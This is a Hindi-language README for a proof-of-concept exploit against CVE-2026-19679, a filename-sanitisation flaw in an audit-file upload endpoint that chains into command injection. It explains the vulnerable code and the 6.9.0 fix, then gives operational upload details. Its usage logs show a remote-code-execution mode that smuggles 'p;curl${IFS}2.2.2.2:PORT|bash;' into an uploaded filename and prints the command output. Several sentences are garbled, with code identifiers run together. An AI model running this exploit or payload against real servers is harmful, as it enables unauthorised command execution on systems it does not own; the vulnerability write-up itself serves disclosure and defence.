
CVE-2026-19679 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ऑडिट-फ़ाइल अपलोड में अपर्याप्त फ़ाइलनाम सैनिटाइज़ेशन भेद्यता जो कमांड इंजेक्शन की ओर ले जाती है। इसमें डिफरेंशियल वर्ज़न प्रोब और रिमोट कमांड निष्पादन के लिए exec मोड शामिल है।

स्थिति: पुष्टि एक 6.7.2-14.el9 लैब पर (2026-08-20)। POST /rest/auditFile
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" के साथ HTTP 200 लौटाया और
AuditFile #1000002 पंजीकृत किया — शेल-मेटाकैरेक्टर फ़ाइलनाम सत्यापन में पास हुआ और
एंड-टू-एंड संग्रहीत किया गया। 6.9.0 पर वही अनुरोध
"Invalid tailoring filename." के साथ अस्वीकार कर दिया जाता है।
ऑडिट-फ़ाइल अपलोड पैरामीटर (filename, tailoringFilename,
tailoringOriginalFilename) को () के साथ सत्यापित किया जाता है,
जो केवल तीन चीज़ों की जाँच करता है: गैर-रिक्त, कोई नहीं
( समानता), और यह कि स्टेज की गई फ़ाइल मौजूद है। — , , बैकटिक्स, और स्पेस बिना छेड़े पास हो जाते हैं।
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}ये नाम फिर इनमें प्रवाहित होते हैं:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (इसके नाम में मनमाने मेटाकैरेक्टर वाली एक फ़ाइल बनाई जाती है)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") जहाँ अनएस्केप्ड $tmpZipFile क्लाइंट के
filename पैरामीटर से प्राप्त होता है — CVE-2026-19681 का डाउनस्ट्रीम कमांड इंजेक्शन।लैब-सत्यापित सीमा: ट्रैवर्सल pre-6.9 दोष का हिस्सा नहीं है — दोनों टेलरिंग
पैरामीटर / को अस्वीकार करते हैं (../ पेलोड पर त्रुटि 146 Invalid syntax for attribute ...)।
गायब तत्व वास्तव में कैरेक्टर-सेट फ़िल्टर है, जिसका अर्थ CVE टेक्स्ट "डाउनस्ट्रीम कमांड इंजेक्शन में योगदान कर सकता है" कहने से है।
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
साथ ही दोनों नामों पर basename() और ज़िप ऑपरेंड पर escapeshellarg() लगाया गया।
डिफरेंशियल वर्ज़न प्रोब — एक अनुरोध, प्रति वर्ज़न विपरीत परिणाम:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."परिचालन नोट (सभी लैब-सत्यापित):
/rest/file/upload है (मल्टीपार्ट Filedata, context फ़ॉर्म फ़ील्ड)context=auditFile ज़िप पर
कंटेंट डिटेक्शन चलाता है (डमी ज़िप पर त्रुटि 107)type=scapLinux|scapWindows, version=1.2, benchmarkName,
dataStreamName चाहिए19679 सत्यापन की कमी है; 19681 exec सिंक है। वही अपलोड फ़्लो दोनों को
सक्रिय करता है: 19681 स्टेज किए गए filename में मेटाकैरेक्टर डालता है (अपलोड context
प्रीफ़िक्स के माध्यम से) और उन्हें अनएस्केप्ड $tmpZipFile के ज़रिए फायर करता है; 19679 दर्शाता है कि
संबंधित पैरामीटर उसी कमांड स्ट्रिंग तक (और उसमें) समान कैरेक्टर क्लास स्वीकार करते हैं।
6.9.0 दोनों पक्षों को एक ही कमिट क्षेत्र में ठीक करता है: charset + basename + escapeshellarg।
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux